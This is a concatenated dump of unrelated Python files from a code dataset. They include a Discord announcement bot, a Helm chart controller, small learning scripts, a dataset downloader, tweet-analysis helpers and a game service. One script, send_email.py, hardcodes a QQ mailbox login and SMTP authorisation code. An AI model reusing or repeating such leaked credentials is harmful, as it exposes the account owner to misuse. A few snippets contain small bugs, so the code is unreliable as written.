description=session.description,\n url=session.url,\n colour=0x1D539F)\n else:\n embed = discord.Embed(title=session.title,\n description=session.description,\n colour=0x1D539F) \n \n if session.speaker != None:\n embed.set_author(name=session.speaker)\n embed.set_footer(text=session.url)\n embed.set_image(url=img_url)\n await events_channel.send(f'Hey {fellow_role.mention}s and {ttp_fellow_role.mention} - we have session in 15 minutes! :tada:\\n ({str(session.start.strftime(\"%H:%M GMT\"))})', embed=embed)\n\nasync def send_short_announcement(session):\n global events_channel, fellow_role, ttp_fellow_role\n await events_channel.send(f'Just 3 minutes until we have **{session.title}**! :tada:\\n {session.url}\\n{fellow_role.mention} {ttp_fellow_row.mention}')\n\ndef check_times(announcement_time):\n current_time = datetime.datetime.now()\n current_year = current_time.strftime(\"%Y\")\n current_month = current_time.strftime(\"%m\")\n current_day = current_time.strftime(\"%d\")\n current_hour = current_time.strftime(\"%H\")\n current_minute = current_time.strftime(\"%M\")\n\n announcement_year = announcement_time.strftime(\"%Y\")\n announcement_month = announcement_time.strftime(\"%m\")\n announcement_day = announcement_time.strftime(\"%d\")\n announcement_hour = announcement_time.strftime(\"%H\")\n announcement_minute = announcement_time.strftime(\"%M\")\n\n if current_year == announcement_year and current_month == announcement_month and current_day == announcement_day:\n if current_hour == announcement_hour and current_minute == announcement_minute:\n return True\n else:\n return False\n else:\n return False\n\ndef check_url(url):\n if url[:8] == \"https://\":\n return True\n else:\n return False\n\n@bot.command(description=\"Displays next event\")\nasync def next_session(ctx):\n session = calendar.get_next_session()\n if check_url(session.url):\n embed = discord.Embed(title=session.title,\n description=f'Starting at {str(session.start.strftime(\"%H:%M GMT on %B %d\"))}',\n url=session.url,\n colour=0x1D539F)\n else:\n embed = discord.Embed(title=session.title,\n description=f'Starting at {str(session.start.strftime(\"%H:%M GMT on %B %d\"))}',\n colour=0x1D539F)\n\n await ctx.send(f'Here\\'s the next session at {str(session.start.strftime(\"%H:%M GMT on %B %d\"))}!', embed=embed)\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"573176029","text":"#! /usr/bin/env python3\n\nimport sys\n\ntextfile = open('madlib.txt', 'r')\nnewText = [] \n\nfor line in textfile.readlines():\n for word in line.split():\n if word[:9] == 'ADJECTIVE':\n print('Enter an adjective:')\n adj = input()\n word = adj + word[9:]\n elif word[:4] == 'NOUN':\n print('Enter a noun:')\n n = input()\n word = n + word[4:]\n elif word[:4] == 'VERB':\n print('Enter a verb:')\n v = input()\n word = v + word[4:]\n newText.append(word)\n\nnewTextFile = open('newmadlib.txt', 'w')\nprint(' '.join(newText))\nnewTextFile.write(\" \".join(newText))\n\n","sub_path":"python-ABSP/practice/ch8/madLibs.py","file_name":"madLibs.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"610270309","text":"\"\"\"\n@Author: 邓润庭\n@Date: 2019/10/13\n\"\"\"\n'''利用json模块将python列表或字典装换为json字符串,再写入'''\nimport json\n\njson_data = [\n {\"firstName\": \"Bill\", \"lastName\": \"Gates\"},\n {\"firstName\": \"George\", \"lastName\": \"Bush\"},\n {\"firstName\": \"Thomas\", \"lastName\": \"Carter\"}\n]\nwith open(\"test.json\", \"w\") as file:\n file.write(json.dumps(json_data, indent=2)) # indent控制json字符串的缩进,使得结构更美观\n\nimport os\n\nos.system(\"cat test.json\")\n'''运行结果\n[\n {\n \"firstName\": \"Bill\",\n \"lastName\": \"Gates\"\n },\n {\n \"firstName\": \"George\",\n \"lastName\": \"Bush\"\n },\n {\n \"firstName\": \"Thomas\",\n \"lastName\": \"Carter\"\n }\n]\n'''\n","sub_path":"spider_04_爬虫数据处理/爬虫数据存储/d02_json文本存储.py","file_name":"d02_json文本存储.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"299415289","text":"import subprocess\nimport json\nimport yaml\nimport tarfile\nimport os\nimport uuid\nimport yaml\nfrom django.conf import settings\nfrom apps.models import Apps\n\ndef deploy(options):\n volume_root = \"/\"\n if \"TELEPRESENCE_ROOT\" in os.environ:\n volume_root = os.environ[\"TELEPRESENCE_ROOT\"]\n kubeconfig = os.path.join(volume_root, 'app/chartcontroller/config/config')\n \n print(\"JOB DEPLOY\")\n app = Apps.objects.get(slug=options['app_slug'], revision=options['app_revision'])\n if app.chart_archive and app.chart_archive != '':\n try:\n chart_file = volume_root+settings.MEDIA_ROOT+app.chart_archive.name\n print(\"CHART_FILE\")\n print(chart_file)\n tar = tarfile.open(chart_file, \"r:gz\")\n extract_path = '/app/extracted_charts/'+app.slug+'/'+str(app.revision)\n tar.extractall(extract_path)\n # dirfiles = os.listdir(extract_path)\n # print(dirfiles)\n tar.close()\n chart = extract_path\n except Exception as err:\n print(err)\n chart = 'charts/'+options['chart']\n else:\n chart = 'charts/'+options['chart']\n\n if not 'release' in options:\n print('Release option not specified.')\n return json.dumps({'status':'failed', 'reason':'Option release not set.'})\n\n\n unique_filename = 'chartcontroller/values/{}.yaml'.format(str(uuid.uuid4()))\n f = open(unique_filename,'w')\n f.write(yaml.dump(options))\n f.close()\n # print(yaml.dump(options))\n\n args = ['helm', 'upgrade', '--install', '--kubeconfig', kubeconfig, '-n', options['namespace'], options['release'], chart, '-f', unique_filename]\n # print(\"PROCESSING INPUT TO CONTROLLER\")\n\n result = subprocess.run(args, capture_output=True)\n # print(result, flush=True)\n print('JOB DEPLOY DONE')\n return result\n\ndef delete(options):\n volume_root = \"/\"\n if \"TELEPRESENCE_ROOT\" in os.environ:\n volume_root = os.environ[\"TELEPRESENCE_ROOT\"]\n kubeconfig = os.path.join(volume_root, 'app/chartcontroller/config/config')\n args = ['helm', '--kubeconfig', str(kubeconfig), '-n', options['namespace'], 'delete', options['release']]\n result = subprocess.run(args, capture_output=True)\n print(\"DELETE STATUS FROM CONTROLLER\")\n print(result, flush=True)\n return result","sub_path":"components/studio/chartcontroller/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"340940671","text":"# 给定一个整数数组,判断是否存在重复元素。\n# 如果任何值在数组中出现至少两次,函数返回 true。如果数组中每个元素都不相同,则返回 false。\n\nclass Solution:\n def containsDuplicate(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n hashmap = {}\n for index, num in enumerate(nums):\n if hashmap.get(num) is not None:\n return True\n hashmap[num] = index\n return False\n\nif __name__ == \"__main__\":\n nums = [7,3,2,1,2]\n s = Solution()\n res = s.containsDuplicate(nums)\n print(res) ","sub_path":"leecode/array/217.py","file_name":"217.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"222748085","text":"#!/usr/bin/env python3\n\n\nimport sys\nfrom socket import *\nfrom screener import ScreenShoot\n\n\nif __name__ == '__main__':\n\n sh = ScreenShoot(\"n1.png\")\n name = sh.makeFile()\n print(name)\n file = open(name, 'rb')\n serverHost = \"localhost\" # имя сервера, например: 'starship.python.net'\n serverPort = 10001\n sockobj = socket(AF_INET, SOCK_STREAM)\n sockobj.connect((serverHost, serverPort))\n print ('Sending...')\n l = file.read(1024)\n while (l):\n print ('Sending...')\n sockobj.send(l)\n l = file.read(1024)\n\n file.close()\n\n socket.shutdown(socket.SHUT_WR)\n sockobj.close()\n\n","sub_path":"py/miscellaneous/net/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"135819444","text":"# -*- coding:utf-8 -*-\nfrom email.mime.text import MIMEText\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\n\n\ndef send(data):\n # pip install pyemail\n msg = MIMEMultipart()\n text = MIMEText(data,'plain', 'utf-8')\n #可以发送中文\n msg.attach(text)\n try:\n msg[\"Subject\"] = u\"自动化管理爬虫信息\"\n msg[\"from\"] = u\"我是你爸爸\"\n\n msg[\"to\"] = \"13720373197@163.com\"\n\n server = smtplib.SMTP_SSL(\"smtp.qq.com\", 465)\n server.set_debuglevel(1)\n server.login(\"1067892503@qq.com\", \"hsssjpwqybwebeja\")\n\n server.sendmail(\"1067892503@qq.com\",[\"13720373197@163.com\",], msg.as_string())\n server.quit()\n\n except smtplib.SMTPRecipientsRefused:\n print('Recipient refused')\n except smtplib.SMTPAuthenticationError:\n print('Auth error')\n except smtplib.SMTPSenderRefused:\n print('Sender refused')\n except smtplib.SMTPException as e:\n print(e.message)\n\n\n\n","sub_path":"headline_spider/send_email.py","file_name":"send_email.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"123970955","text":"import hashlib\nimport os\nimport os.path as osp\n\nimport gdown\n\nfilepath = osp.dirname(osp.realpath(__file__))\ncompressed_dir = osp.join(filepath, '../data/compressed')\n\n\ndef check_md5sum(output, md5sum):\n # validate md5 string length if it is specified\n if md5sum and len(md5sum) != 32:\n raise ValueError(\n 'md5sum must be 32 charactors\\n'\n 'actual: {0} ({1} charactors)'.format(md5sum, len(md5sum)))\n print('[{0}] Checking md5sum ({1})'.format(output, md5sum))\n is_same = hashlib.md5(open(output, 'rb').read()).hexdigest() == md5sum\n print('[{0}] Finished checking md5sum: {1}'.format(output, is_same))\n return is_same\n\n\ndef download(url, output, md5sum, quiet=False):\n if not (osp.exists(output) and check_md5sum(output, md5sum)):\n gdown.download(url=url, output=output, quiet=quiet)\n else:\n print('[{0}] Skip downloading'.format(output))\n\n\ndef main():\n if not osp.exists(compressed_dir):\n os.makedirs(compressed_dir)\n # v1\n download(\n url='https://drive.google.com/uc?id=1H5Qz7FJBdyE1e1D2ZgA6j40ylat0Y9lG',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v1.tar.gz'),\n md5sum='0b5f06fbb3109deae38e5c6e719fbb45',\n quiet=False)\n # v2\n download(\n url='https://drive.google.com/uc?id=1lQiLODgmGxRFnf5U0XcaqtgMVvplvKcE',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v2.tar.gz'),\n md5sum='6bb8456cb36437792bf1fe62e6c34cb4',\n quiet=False)\n # v3\n download(\n url='https://drive.google.com/uc?id=1Xfjc5KiqgwE9vHTBMNBSeIvfCis04s4_',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v3.tar.gz'),\n md5sum='25e377e3a3f779279a0bbbf71cb14790',\n quiet=False)\n # v4\n download(\n url='https://drive.google.com/uc?id=1bvLjn-9ZckxiuRg6FImJEbUS56e_79kd',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v4.tar.gz'),\n md5sum='9674e8b4f96ebc6caae7b73436dda339',\n quiet=False)\n # v5\n download(\n url='https://drive.google.com/uc?id=1_CgyuWx-z3tKfAowjGfj4V2eey8wPb7I',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v5.tar.gz'),\n md5sum='ef9dafebfb8f133faa9dff2bf78163fb',\n quiet=False)\n # v6\n download(\n url='https://drive.google.com/uc?id=1qWuum_MldO_yeANF--8gskJUVmKZSEeA',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v6.tar.gz'),\n md5sum='87f6e46699b558d15b00b9d63b422aa0',\n quiet=False)\n # v7\n download(\n url='https://drive.google.com/uc?id=1LDIgG32PlQWTRxFOUpZCOYzW2_r1RTWd',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v7.tar.gz'),\n md5sum='6890c47d0ccf3c46eea18843692a4373',\n quiet=False)\n # v8\n download(\n url='https://drive.google.com/uc?id=1d-hqzqNBgjV5ifw408R4D_xCF97HO9dZ',\n output=osp.join(compressed_dir, 'dualarm_grasp_dataset_v8.tar.gz'),\n md5sum='528c0573480168da3c572e8ae3090911',\n quiet=False)\n\n # occluded instance\n # occluded instance v1\n download(\n url='https://drive.google.com/uc?id=1NUVCmt5bCsUeijEh_A6NdHhIsvyeqsrA',\n output=osp.join(\n compressed_dir,\n 'occluded_instance_dualarm_grasp_dataset_v1.tar.gz'),\n md5sum='1707abf130b411c73ae5b55a77e6ef1a',\n quiet=False)\n\n # instance\n # instance v1\n download(\n url='https://drive.google.com/uc?id=1VZu7a6Adwp1a8ZYuiBKfHzAJi3sixOdq',\n output=osp.join(\n compressed_dir, 'instance_dualarm_grasp_dataset_v1.tar.gz'),\n md5sum='02d252e7dcf29dea56fda671cfb2cae8',\n quiet=False)\n\n # finetuning\n # fine tuning v1\n download(\n url='https://drive.google.com/uc?id=1812p5_kL4IjnCL32n8z-wkB_BOAedYYz',\n output=osp.join(\n compressed_dir, 'finetuning_dualarm_grasp_dataset_v1.tar.gz'),\n md5sum='a2fbd996498ed3574bd710cd14cbd20b',\n quiet=False)\n # finetuning v2\n download(\n url='https://drive.google.com/uc?id=1ZMPh2q5C-uAki8J4OCM5MhOtbEcVoBBx',\n output=osp.join(\n compressed_dir, 'finetuning_dualarm_grasp_dataset_v2.tar.gz'),\n md5sum='b45dced5bd402d75bc6471df74caefbe',\n quiet=False)\n # finetuning v3\n download(\n url='https://drive.google.com/uc?id=1_RUhaI46euw15PvZeMIcuxWQhjEv-t3i',\n output=osp.join(\n compressed_dir, 'finetuning_dualarm_grasp_dataset_v3.tar.gz'),\n md5sum='d345d6bfcaa4d5c42de3c5d78db265f9',\n quiet=False)\n # finetuning v4\n download(\n url='https://drive.google.com/uc?id=1KrSrL4VrqDRQdT6kTN4aTzHEmKPUNELg',\n output=osp.join(\n compressed_dir, 'finetuning_dualarm_grasp_dataset_v4.tar.gz'),\n md5sum='5a40def7700df542011247ad9d37f0cd',\n quiet=False)\n\n # occluded instance annotated dataset\n download(\n url='https://drive.google.com/uc?id=19VReD5ZzN-gyQgcdaCRTp-7zLl50hXyI',\n output=osp.join(\n compressed_dir, 'oi_real_annotated_dataset_v1.tar.gz'),\n md5sum='30fb688e8d1c1f9ebdacf5d7d9f19451',\n quiet=False)\n\n download(\n url='https://drive.google.com/uc?id=11fis7Q3xBfn6ny8ODi_jix-A4XuP57rp',\n output=osp.join(\n compressed_dir, 'oi_real_annotated_dataset_v2.tar.gz'),\n md5sum='ba65e043a791b6114cdcd5ac2fac166c',\n quiet=False)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"demos/grasp_data_generator/scripts/download_datasets.py","file_name":"download_datasets.py","file_ext":"py","file_size_in_byte":5404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"123880221","text":"from json import loads\n\nfrom web3 import Web3, HTTPProvider\nfrom contract_adress import ContractAdress\n\nfrom user import User, UserSol\n\nweb3 = Web3(HTTPProvider(\"http://127.0.0.1:8545\", request_kwargs={\"timeout\": 60}))\n\n\ndef get_params(sender):\n return {\"from\": sender, \"gasPrice\": web3.eth.gasPrice, \"gas\": 6721975,\n \"nonce\": web3.eth.getTransactionCount(sender)}\n\n# Read HelloWorld Contract\nwith open(\"build/contracts/HelloWorld.json\", \"r\") as f_handler:\n contract_info = loads(f_handler.read())\n f_handler.close()\n\n# Get HelloWorld Contract\nhelloworld_contract = web3.eth.contract(ContractAdress.HELLOWORLD.value, abi=contract_info[\"abi\"])\n\n#########################\n# TESTAR MULTIPLE USERS #\n#########################\n\n# users = [[\"hello joao\", 24],[\"hello mafalda\", 25]]\n\n# helloworld_contract.functions.addUserVerbose(users[0]).call()\n# helloworld_contract.functions.addMultipleUsersVerbose(users).call()\n# tx_params = helloworld_contract.functions.addMultipleUsersVerbose(users).buildTransaction(get_params(web3.eth.accounts[0]))\n# txid = Web3.toHex(web3.eth.sendTransaction(tx_params))\n# print(\"TXID: {}\".format(txid))\n# print(\"\\nAdd User (Transaction):\\n{}\".format(web3.eth.getTransaction(txid)))\n\n# receipt = web3.eth.getTransactionReceipt(txid)\n# print(\"\\nNewUser (Event):\")\n# for elem in helloworld_contract.events.NewUser().processReceipt(receipt):\n# print(\" - event: {}\".format(elem))\n\n# print(\"\\nUSER: {}\".format(helloworld_contract.functions.getUser(2).call()))\n\n#############################\n# END: ESTAR MULTIPLE USERS #\n#############################\n\n#####################\n# TESTAR DATA CLASS #\n#####################\n\n# user = User(\"pedro\", 35)\n# helloworld_contract.functions.addUserVerbose(user.values()).call()\n# print(\"\\nUSER: {}\".format(helloworld_contract.functions.getUser(5).call()))\n\nuser = UserSol(name=\"joao\", age=\"25\")\nhelloworld_contract.functions.addUserVerbose(user.say_values()).call()\n# print(\"\\nUSER: {}\".format(helloworld_contract.functions.getUser(5).call()))\n\n##########################\n# END: TESTAR DATA CLASS #\n##########################","sub_path":"test_helloworld.py","file_name":"test_helloworld.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"103230623","text":"import pandas as pd\nimport os\nimport glob\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef load_lexicons():\n \"\"\"\n Loading the 'emotions' and return a df with a unique column a word and 10 other columns of emotions\n referred to that term\n \"\"\"\n\n lexicons = pd.read_table('lexicons/NRC-Emotion-Lexicon-v0.92/NRC-Emotion-Lexicon-Wordlevel-v0.92.txt', sep='\\t',\n names=('term', 'emotion', 'value'))\n\n terms = lexicons.term\n\n emotions = lexicons.drop('term', axis=1).pivot(columns='emotion', values='value')\n emotions['term'] = terms\n emotions.fillna(0, inplace=True)\n emotions = emotions.groupby('term').sum()\n emotions.reset_index(inplace=True)\n\n return emotions\n\n\ndef load_data():\n \"\"\"\n Loading all the data in one dictionary and two lists: condensed and master and returning them.\n You can access the json file from the dictionary\n using the file name without the .json extension.\n E.g.: all_data[\"condensed_2009\"]\n \"\"\"\n\n trump_tweets = glob.glob(\"trump_tweets/*.json\")\n\n all_data = {}\n condensed = []\n master = []\n\n for json_file in trump_tweets:\n\n file = pd.read_json(json_file)\n all_data[os.path.basename(json_file).replace(\".json\", \"\")] = file\n\n if \"master\" in os.path.basename(json_file):\n master.append(file)\n else:\n condensed.append(file)\n\n return all_data, condensed, master\n\n\ndef get_stopwords_from_html():\n \"\"\"\n Saving stopwords from url\n \"\"\"\n\n URL_sw = 'https://www.ranks.nl/stopwords'\n\n r = requests.get(URL_sw, verify=False)\n\n soup = BeautifulSoup(r.text, 'html.parser')\n\n div = soup.find(\n lambda tag: tag.name == 'div' and tag.has_attr('id') and tag['id'] == \"article09e9cfa21e73da42e8e88ea97bc0a432\")\n table = div.find(lambda tag: tag.name == 'table')\n\n stopwords = []\n\n cols = table.findAll('td')\n for col in cols:\n col = str(col)\n col = col.replace('<td style=\"width: 33%;\" valign=\"top\">', '')\n col = col.replace('<td valign=\"top\">', '')\n words = col.split(\"<br/>\")\n stopwords.extend(words)\n\n with open('stopwords/stopwords_2.json', 'w') as fp:\n json.dump(stopwords, fp)\n\n\ndef select_time_interval(df, date_column, start_datetime, end_datetime):\n \"\"\"\n returns a dataframe selected by a specific period of time\n \"\"\"\n return df[(df[date_column] >= start_datetime) & (df[date_column] <= end_datetime)]\n\n\ndef get_hillary_tweets_16_17(all_data):\n '''Retrieving tweets concernig hillary from 2016 and 2017'''\n\n # TOTAL\n # TOTAL HILLARY = 962\n # FROM 2016 - 2017 = 698\n\n # NO IPHONE\n # TOTAL HILLARY = 669\n # FROM 2016 - 2017 = 415\n\n # FROM POLITICS = 15!!!\n\n condensed_2016 = all_data['condensed_2016']\n condensed_2017 = all_data['condensed_2017']\n condensed = []\n condensed.append(condensed_2016)\n condensed.append(condensed_2017)\n\n condensed_text = []\n condensed_date = []\n condensed_retweet_count = []\n condensed_favorite_count = []\n condensed_id = []\n for x in condensed:\n temp = x[x.is_retweet == False]\n temp = temp[temp.source != \"Twitter for iPhone\"]\n condensed_text.append(temp.text.tolist())\n condensed_date.append(temp.created_at.tolist())\n condensed_retweet_count.append(temp.retweet_count.tolist())\n condensed_favorite_count.append(temp.favorite_count.tolist())\n condensed_id.append(temp.id_str.tolist())\n\n flat_list = [item for sublist in condensed_text for item in sublist]\n flat_list_date = [item for sublist in condensed_date for item in sublist]\n flat_list_retweet_count = [item for sublist in condensed_retweet_count for item in sublist]\n flat_list_favorite_count = [item for sublist in condensed_favorite_count for item in sublist]\n flat_list_id = [item for sublist in condensed_id for item in sublist]\n\n tweets = []\n flat_list_info = []\n for tweet, date, ret, fav, id_ in zip(flat_list, flat_list_date, flat_list_retweet_count, flat_list_favorite_count, flat_list_id):\n if ('hillary' in tweet) or ('clinton' in tweet) or ('Hillary' in tweet) or ('Clinton' in tweet) \\\n or ('Crooked' in tweet) or ('crooked' in tweet):\n\n tweets.append(tweet)\n flat_list_info.append((date, ret, fav, id_))\n\n return tweets, flat_list_info\n\n\ndef topic_to_json(topic, json_list, flat_list_info, topic_str):\n for tweet in topic:\n date, ret, fav, id_ = flat_list_info[tweet[1]]\n\n json = {\n 'created_at': str(date),\n 'id': id_,\n 'retweet_count': ret,\n 'favorite_count': fav,\n 'text': tweet[0],\n 'topic': topic_str\n }\n\n json_list.append(json)\n\n\ndef topic_to_json_hillary(hillary_topic, hillary_json, hillary_info, internal=False):\n for index, tweet in enumerate(hillary_topic):\n date, ret, fav, id_ = hillary_info[index]\n\n if not internal:\n json = {\n 'created_at': str(date),\n 'id': id_,\n 'retweet_count': ret,\n 'favorite_count': fav,\n 'text': tweet,\n 'topic': 'hillary'\n }\n\n else:\n json = {\n 'created_at': str(date),\n 'id': id_,\n 'retweet_count': ret,\n 'favorite_count': fav,\n 'text': tweet,\n 'topic': 'internal_politics'\n }\n\n hillary_json.append(json)\n\n","sub_path":"Project/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":5551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"597914434","text":"__author__ = 'quatrosem'\n\nfrom game_thread import GameThread\nimport random\nfrom datetime import datetime\nfrom models import Experiment, Play, Player, GameWorld, Area, Generation\n#from service.models import Experiment, Generation, GameWorld, GameWorld, Area\nfrom polls.interface import InterfaceGA\nfrom polls.world import World\nfrom polls.emoa import GA\nimport datetime\n\n\nclass Game(object):\n INSTANCE = None\n def __init__(self):\n\n # my settings\n self.experimentStarted = False #tells if the experiment is started or not\n self.exp = \"\"\n\n\n ####\n self.gameUsers = [] #users registered to play\n self.minNumPlayers = 1 #minimum number of players to start a game\n self.gameStarted = False #tells if there is enough players to start a game\n self.numLevels = 5 #number of game levels\n self.experimentHasPlayers = False\n self.currentLevel = 1\n self.canReadResult = False\n self.GA = \"\"\n self.levelReadToPlay = 0\n self.userPlays = None\n self.Experiment = None\n self.numAnswersCurrentLevel = 0\n self.lenFront = 0\n #Teste do rogerio\n self.levelFAKE = -1\n\n #singleton\n @classmethod\n def get_instance(cls):\n if cls.INSTANCE is None:\n cls.INSTANCE = Game()\n return cls.INSTANCE\n\n\n def start_experiment(self,experiment,ga):\n #start an experiment\n if self.experimentStarted:\n return False,-1\n\n #self.numLevels = numLevels\n #self.numMinPlayers = numMinPlayes\n\n #Registrar Experiment no BD\n #exp = Experiment(name = \"Experiment_\" + str(datetime.now()), numLevels=self.numLevels, numMinPlayers = self.minNumPlayers, start = datetime.now(), time_elapsed_end = -1)\n #exp.save()\n\n\n #self.GA.fakeStartEvolution()\n self.Experiment = experiment\n self.experimentStarted = True\n self.GA = ga\n self.numLevels = self.Experiment.numLevels\n return True,self.Experiment.id\n\n def register_user(self,user):\n #Registers the user that is waiting to play\n #verify if the user is already at the users list.\n if not self.gameUsers.__contains__(user) and self.experimentStarted:\n self.gameUsers.append(user)\n\n\n # TEM QUE ARRUMAR ISSO!\n if len(self.gameUsers) >= self.minNumPlayers and not self.gameStarted:\n self.start_game()\n\n #Starts the game\n def start_game(self):\n\n t = GameThread()\n t.service = Game.get_instance()\n t.start()\n # return\n #\n # #self.answers = [[ 0 for i in range(2) ] for j in range(len(self.gameUsers)) ]\n #\n # if not self.gameStarted:\n # self.gameStarted = True\n #\n # # t = GameThread()\n # # t.service = Game.get_instance()\n # # t.start()\n # #self.answers = [[ 0 for i in range(2) ] for j in range(len(self.gameUsers)) ]\n #\n #\n # #get world map\n # if GameWorld.objects.all().count() == 0:\n # #create basic world\n # wrl = GameWorld(name= 'Mundo 20x20')\n # wrl.save()\n #\n # area = Area(world=wrl, x=3, y=3, length=7)\n # area.save()\n # area = Area(world=wrl, x=18, y=15, length=2)\n # area.save()\n # area = Area(world=wrl, x=12, y=8, length=5)\n # area.save()\n # area = Area(world=wrl, x=13, y=1, length=3)\n # area.save()\n # area = Area(world=wrl, x=2, y=15, length=4)\n # area.save()\n # area = Area(world=wrl, x=7, y=12, length=3)\n # area.save()\n #\n # #selected_btn = request.POST['gorun']\n # name = \"Game\"\n # date = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n # type = \"B\"\n # description = \"new game from external site\"\n # # flag = request.POST['status']\n # flag = 'W'\n # num_population = 200\n # num_robots = 30\n # num_levels = 5\n # num_gen = 100\n # block_size = 20\n # gen_threshold = 100\n # # actual_gen = request.POST['actual_gen']\n # actual_gen = 0\n # # player = request.POST['player']\n # player = 7\n # mutation = .1\n # cross = .3\n # wrld = GameWorld.objects.latest('id').id\n # first_loop = 5\n # ropoints = \"A\"\n # txtfreeK = 0\n # moea_alg = \"N\"\n # tour = \"R\"\n # vote = \"P\"\n #\n # #Distribution problem\n # type_prob = 'A'\n #\n # keep_interactivity = 1\n #\n # if txtfreeK == \"0\":\n # freeK = False\n # else:\n # freeK = True\n #\n # #create and start\n # inter = InterfaceGA()\n #\n #\n # #start generations, does not matter if it is the first start or continuing evolution\n # self.exp = inter.StartEvolution(name,date,type,description, flag, num_population, num_robots,\n # num_levels, num_gen, block_size, gen_threshold,\n # actual_gen, player, mutation, cross,wrld,\n # first_loop, ropoints, freeK, moea_alg, tour, vote, type_prob)\n # return self.exp\n #\n\n\n\n def setResult(self,username,result):\n\n user = self.getUserFromGameUsers(username)\n #self.userPlays[i][self.currentLevel].answers = result\n self.numAnswersCurrentLevel+=1\n\n #exp = Experiment.objects.latest(id)\n result = result.replace(\"[\",\"\").replace(\"]\",\"\").split(\",\")\n\n plays = Play.objects.filter(play_player = user, play_experiment = self.Experiment, level = self.currentLevel)\n\n for i in range(len(plays)):\n plays[i].answer = result[i]\n plays[i].save()\n\n if self.numAnswersCurrentLevel == len(self.gameUsers):\n #self.processResult()\n self.canReadResult = True\n\n\n def getUserFromGameUsers(self,username):\n found = False\n i = 0\n while i < len(self.gameUsers) and not found:\n if self.gameUsers[i].username == username:\n found = True\n else:\n i+=1\n\n return self.gameUsers[i]\n\n\n def processResult(self):\n answers = [[ 0 for i in range(2) ] for j in range(self.lenFront) ]\n #for i in range(len(self.gameUsers)):\n #user = self.gameUsers[i]\n #exp = Experiment.objects.latest(id)\n plays = Play.objects.filter(play_experiment = self.Experiment, level = self.currentLevel)\n for j in range(len(plays)):\n if plays[j].answer != -1:\n if plays[j].answer == 0:\n correct = plays[j].chromosomeTwoIndex #verifica o indice da resposta correta\n incorrect = plays[j].chromosomeOneIndex\n else:\n correct = plays[j].chromosomeOneIndex #verifica o indice da resposta correta\n incorrect = plays[j].chromosomeTwoIndex\n\n answers[correct][0] += 1\n answers[incorrect][1] += 1\n\n self.GA.SetComparisonsResult(answers)\n self.GA.ContinueEvolution()\n self.canReadResult = False\n self.numAnswersCurrentLevel = 0\n\n\n def prepareComparisons(self,chromossomes,population):\n\n self.createPlays(chromossomes,population)\n self.lenFront = len(chromossomes)\n\n self.levelReadToPlay += 1\n\n\n def getArea(self):\n return self.GA.GetArea()\n\n\n def getPlays(self,user):\n user_plays = []\n\n if self.levelReadToPlay == self.currentLevel:\n #user,i = self.getUserFromGameUsers(username)\n #userPlay = self.userPlays[i][self.currentLevel-1]\n\n #exp = Experiment.objects.latest(id)\n user_plays = Play.objects.filter(play_player = user).filter(level = self.currentLevel).filter(play_experiment = self.Experiment)\n\n return user_plays\n\n\n def readyToPlay(self):\n return self.levelReadToPlay\n\n\n def createPlays(self,chromossomes,population):\n for i in range(len(self.gameUsers)):\n # Distribui os chromossomos entre os jogadores\n for j in range(5):\n a = random.randint(0,len(chromossomes)-1)\n b = -1\n isDifferent = True\n while isDifferent:\n b = random.randint(0,len(chromossomes)-1)\n if a != b:\n isDifferent = False\n play = Play(answer = -1, level = self.currentLevel, chromosomeOne = chromossomes[a], chromosomeOneIndex = a,\n chromosomeTwo = chromossomes[b], chromosomeTwoIndex = b,play_player = self.gameUsers[i], play_experiment = self.Experiment, answer_time = -1, points = -1)\n play.save()\n\n\n def processRank(self,front):\n\n points = [100,80,60,40,20]\n\n for i in range(self.Experiment.numLevels):\n point = points[i-1];\n plays = Play.objects.filter(play_experiment = self.Experiment, level = i)\n for p in plays:\n if p.answer != -1:\n if p.answer == 0:\n chromossome = p.chromosomeOne\n else:\n chromossome = p.chromosomeTwo\n\n if chromossome in front:\n p.points = point\n else:\n p.points = 0\n\n\n def getRank(self):\n\n #essa query esta ruim mas funciona\n plays = Play.objects.filter(play_experiment = self.Experiment)\n\n players = []\n\n for p in plays:\n if not players.__contains(p.play_player):\n players.append(p.play_player)\n\n rank = [[ 0 for i in range(2) ] for j in range(len(players))]\n\n i=0\n for player in players:\n points = 0\n plays = Play.objects.filter(play_experiment = self.Experiment, play_player = player)\n for p in plays:\n points += p.points\n\n rank[i][0] = p.username\n rank[i][1] = points\n i+=1\n\n return rank\n\n\n def fake(self):\n isReady 